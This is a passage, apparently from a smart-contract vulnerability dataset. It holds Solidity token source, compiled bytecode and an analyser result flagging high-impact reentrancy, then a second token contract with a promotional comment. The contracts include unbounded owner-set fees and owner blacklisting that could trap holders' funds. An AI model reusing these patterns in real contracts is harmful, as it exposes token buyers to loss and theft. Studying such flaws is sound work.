_maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = 3; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054b578063dd62ed3e14610561578063ea1644d5146105a7578063f2fde38b146105c757600080fd5b8063a9059cbb146104c6578063bfd79284146104e6578063c3c8cd8014610516578063c492f0461461052b57600080fd5b80638f9a55c0116100d15780638f9a55c01461044357806395d89b411461045957806398a5c31514610486578063a2a957bb146104a657600080fd5b80637d1db4a5146103ef5780638da5cb5b146104055780638f70ccf71461042357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b8b565b6105e7565b005b34801561020a57600080fd5b5060408051808201909152600c81526b4120446f676520647265616d60a01b60208201525b60405161023c9190611cb5565b60405180910390f35b34801561025157600080fd5b50610265610260366004611ae1565b610694565b604051901515815260200161023c565b34801561028157600080fd5b50601554610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50683635c9adc5dea000005b60405190815260200161023c565b3480156102df57600080fd5b506102656102ee366004611aa1565b6106ab565b3480156102ff57600080fd5b506102c560195481565b34801561031557600080fd5b506040516009815260200161023c565b34801561033157600080fd5b50601654610295906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611a31565b610714565b34801561037157600080fd5b506101fc610380366004611c52565b61075f565b34801561039157600080fd5b506101fc6107a7565b3480156103a657600080fd5b506102c56103b5366004611a31565b6107f2565b3480156103c657600080fd5b506101fc610814565b3480156103db57600080fd5b506101fc6103ea366004611c6c565b610888565b3480156103fb57600080fd5b506102c560175481565b34801561041157600080fd5b506000546001600160a01b0316610295565b34801561042f57600080fd5b506101fc61043e366004611c52565b6108b7565b34801561044f57600080fd5b506102c560185481565b34801561046557600080fd5b506040805180820190915260048152634241524b60e01b602082015261022f565b34801561049257600080fd5b506101fc6104a1366004611c6c565b610904565b3480156104b257600080fd5b506101fc6104c1366004611c84565b610933565b3480156104d257600080fd5b506102656104e1366004611ae1565b610971565b3480156104f257600080fd5b50610265610501366004611a31565b60116020526000908152604090205460ff1681565b34801561052257600080fd5b506101fc61097e565b34801561053757600080fd5b506101fc610546366004611b0c565b6109d2565b34801561055757600080fd5b506102c560085481565b34801561056d57600080fd5b506102c561057c366004611a69565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b357600080fd5b506101fc6105c2366004611c6c565b610a81565b3480156105d357600080fd5b506101fc6105e2366004611a31565b610ab0565b6000546001600160a01b0316331461061a5760405162461bcd60e51b815260040161061190611d08565b60405180910390fd5b60005b81518110156106905760016011600084848151811061064c57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068881611e1b565b91505061061d565b5050565b60006106a1338484610b9a565b5060015b92915050565b60006106b8848484610cbe565b61070a843361070585604051806060016040528060288152602001611e78602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611271565b610b9a565b5060019392505050565b6000546001600160a01b0316331461073e5760405162461bcd60e51b815260040161061190611d08565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107895760405162461bcd60e51b815260040161061190611d08565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107dc57506014546001600160a01b0316336001600160a01b0316145b6107e557600080fd5b476107ef816112ab565b50565b6001600160a01b0381166000908152600260205260408120546106a590611330565b6000546001600160a01b0316331461083e5760405162461bcd60e51b815260040161061190611d08565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b25760405162461bcd60e51b815260040161061190611d08565b601755565b6000546001600160a01b031633146108e15760405162461bcd60e51b815260040161061190611d08565b60168054911515600160a01b0260ff60a01b199092169190911790556003600855565b6000546001600160a01b0316331461092e5760405162461bcd60e51b815260040161061190611d08565b601955565b6000546001600160a01b0316331461095d5760405162461bcd60e51b815260040161061190611d08565b600993909355600b91909155600a55600c55565b60006106a1338484610cbe565b6013546001600160a01b0316336001600160a01b031614806109b357506014546001600160a01b0316336001600160a01b0316145b6109bc57600080fd5b60006109c7306107f2565b90506107ef816113b4565b6000546001600160a01b031633146109fc5760405162461bcd60e51b815260040161061190611d08565b60005b82811015610a7b578160056000868685818110610a2c57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a419190611a31565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7381611e1b565b9150506109ff565b50505050565b6000546001600160a01b03163314610aab5760405162461bcd60e51b815260040161061190611d08565b601855565b6000546001600160a01b03163314610ada5760405162461bcd60e51b815260040161061190611d08565b6001600160a01b038116610b3f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610611565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610611565b6001600160a01b038216610c5d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610611565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610611565b6001600160a01b038216610d845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610611565b60008111610de65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610611565b6000546001600160a01b03848116911614801590610e1257506000546001600160a01b03838116911614155b1561116a57601654600160a01b900460ff16610eab576000546001600160a01b03848116911614610eab5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610611565b601754811115610efd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610611565b6001600160a01b03831660009081526011602052604090205460ff16158015610f3f57506001600160a01b03821660009081526011602052604090205460ff16155b610f975760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610611565b6008544311158015610fb657506016546001600160a01b038481169116145b8015610fd057506015546001600160a01b03838116911614155b8015610fe557506001600160a01b0382163014155b1561100e576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110935760185481611030846107f2565b61103a9190611dad565b106110935760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610611565b600061109e306107f2565b6019546017549192508210159082106110b75760175491505b8080156110ce5750601654600160a81b900460ff16155b80156110e857506016546001600160a01b03868116911614155b80156110fd5750601654600160b01b900460ff165b801561112257506001600160a01b03851660009081526005602052604090205460ff16155b801561114757506001600160a01b03841660009081526005602052604090205460ff16155b1561116757611155826113b4565b47801561116557611165476112ab565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111ac57506001600160a01b03831660009081526005602052604090205460ff165b806111de57506016546001600160a01b038581169116148015906111de57506016546001600160a01b03848116911614155b156111eb57506000611265565b6016546001600160a01b03858116911614801561121657506015546001600160a01b03848116911614155b1561122857600954600d55600a54600e555b6016546001600160a01b03848116911614801561125357506015546001600160a01b03858116911614155b1561126557600b54600d55600c54600e555b610a7b84848484611559565b600081848411156112955760405162461bcd60e51b81526004016106119190611cb5565b5060006112a28486611e04565b95945050505050565b6013546001600160a01b03166108fc6112c5836002611587565b6040518115909202916000818181858888f193505050501580156112ed573d6000803e3d6000fd5b506014546001600160a01b03166108fc611308836002611587565b6040518115909202916000818181858888f19350505050158015610690573d6000803e3d6000fd5b60006006548211156113975760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610611565b60006113a16115c9565b90506113ad8382611587565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061140a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561145e57600080fd5b505afa158015611472573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114969190611a4d565b816001815181106114b757634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546114dd9130911684610b9a565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611516908590600090869030904290600401611d3d565b600060405180830381600087803b15801561153057600080fd5b505af1158015611544573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611566576115666115ec565b61157184848461161a565b80610a7b57610a7b600f54600d55601054600e55565b60006113ad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611711565b60008060006115d661173f565b90925090506115e58282611587565b9250505090565b600d541580156115fc5750600e54155b1561160357565b600d8054600f55600e805460105560009182905555565b60008060008060008061162c87611781565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061165e90876117de565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461168d9086611820565b6001600160a01b0389166000908152600260205260409020556116af8161187f565b6116b984836118c9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116fe91815260200190565b60405180910390a3505050505050505050565b600081836117325760405162461bcd60e51b81526004016106119190611cb5565b5060006112a28486611dc5565b6006546000908190683635c9adc5dea0000061175b8282611587565b82101561177857505060065492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061179e8a600d54600e546118ed565b92509250925060006117ae6115c9565b905060008060006117c18e878787611942565b919e509c509a509598509396509194505050505091939550919395565b60006113ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611271565b60008061182d8385611dad565b9050838110156113ad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610611565b60006118896115c9565b905060006118978383611992565b306000908152600260205260409020549091506118b49082611820565b30600090815260026020526040902055505050565b6006546118d690836117de565b6006556007546118e69082611820565b6007555050565b600080808061190760646119018989611992565b90611587565b9050600061191a60646119018a89611992565b905060006119328261192c8b866117de565b906117de565b9992985090965090945050505050565b60008080806119518886611992565b9050600061195f8887611992565b9050600061196d8888611992565b9050600061197f8261192c86866117de565b939b939a50919850919650505050505050565b6000826119a1575060006106a5565b60006119ad8385611de5565b9050826119ba8583611dc5565b146113ad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610611565b8035611a1c81611e62565b919050565b80358015158114611a1c57600080fd5b600060208284031215611a42578081fd5b81356113ad81611e62565b600060208284031215611a5e578081fd5b81516113ad81611e62565b60008060408385031215611a7b578081fd5b8235611a8681611e62565b91506020830135611a9681611e62565b809150509250929050565b600080600060608486031215611ab5578081fd5b8335611ac081611e62565b92506020840135611ad081611e62565b929592945050506040919091013590565b60008060408385031215611af3578182fd5b8235611afe81611e62565b946020939093013593505050565b600080600060408486031215611b20578283fd5b833567ffffffffffffffff80821115611b37578485fd5b818601915086601f830112611b4a578485fd5b813581811115611b58578586fd5b8760208260051b8501011115611b6c578586fd5b602092830195509350611b829186019050611a21565b90509250925092565b60006020808385031215611b9d578182fd5b823567ffffffffffffffff80821115611bb4578384fd5b818501915085601f830112611bc7578384fd5b813581811115611bd957611bd9611e4c565b8060051b604051601f19603f83011681018181108582111715611bfe57611bfe611e4c565b604052828152858101935084860182860187018a1015611c1c578788fd5b8795505b83861015611c4557611c3181611a11565b855260019590950194938601938601611c20565b5098975050505050505050565b600060208284031215611c63578081fd5b6113ad82611a21565b600060208284031215611c7d578081fd5b5035919050565b60008060008060808587031215611c99578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611ce157858101830151858201604001528201611cc5565b81811115611cf25783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d8c5784516001600160a01b031683529383019391830191600101611d67565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611dc057611dc0611e36565b500190565b600082611de057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611dff57611dff611e36565b500290565b600082821015611e1657611e16611e36565b500390565b6000600019821415611e2f57611e2f611e36565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ef57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200bb61cd93684665e70baf99304a2d0d38adfba2b4e9994fb57b8a3a47fa021e264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
496
0x314102Ec4641EE0f4bEAc2A0Ee1E902aECe2b81E
/** *Submitted for verification at Etherscan.io on 2022-04-02 */ /** __ ________ ______ ________ __ __ _______ ______ | \ | \/ \| \ \ | \ \ / \ | ▓▓ | ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓\ ▓▓▓▓▓▓▓▓ ▓▓\ | ▓▓ ▓▓▓▓▓▓▓\ ▓▓▓▓▓▓\ | ▓▓ | ▓▓__ | ▓▓ __\▓▓ ▓▓__ | ▓▓▓\| ▓▓ ▓▓ | ▓▓ ▓▓___\▓▓ | ▓▓ | ▓▓ \ | ▓▓| \ ▓▓ \ | ▓▓▓▓\ ▓▓ ▓▓ | ▓▓\▓▓ \ | ▓▓ | ▓▓▓▓▓ | ▓▓ \▓▓▓▓ ▓▓▓▓▓ | ▓▓\▓▓ ▓▓ ▓▓ | ▓▓_\▓▓▓▓▓▓\ | ▓▓_____| ▓▓_____| ▓▓__| ▓▓ ▓▓_____| ▓▓ \▓▓▓▓ ▓▓__/ ▓▓ \__| ▓▓ | ▓▓ \ ▓▓ \\▓▓ ▓▓ ▓▓ \ ▓▓ \▓▓▓ ▓▓ ▓▓\▓▓ ▓▓ \▓▓▓▓▓▓▓▓\▓▓▓▓▓▓▓▓ \▓▓▓▓▓▓ \▓▓▓▓▓▓▓▓\▓▓ \▓▓\▓▓▓▓▓▓▓ \▓▓▓▓▓▓ We are legendary and strive to become citizens of secret societies. Legends are a group of world class individuals, that come together to serve a similar purpose. We believe also that the space lately has become very toxic, with people only asking for calls and marketing as exit liquidity. Telegram Groups are set up lately just to pump coins and not to gather and create real & strong communities. We will create a social after we have developed the strongest community and only the true holders will become citizens of the society The liquidity will be locked and contract will be renounced. Main stream socials will be revealed to the community. Through holders only. There is a 12% Tax that will be utilized for the LEGEND NFTs and Metaverse. Become LEGENDARY. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract LEGENDS is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "LEGENDS"; string private constant _symbol = "LEGENDS"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xa68adbEB74Db4fE61EBA7b302Fa92A6aE95F9dA2); address payable private _marketingAddress = payable(0xa68adbEB74Db4fE61EBA7b302Fa92A6aE95F9dA2); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 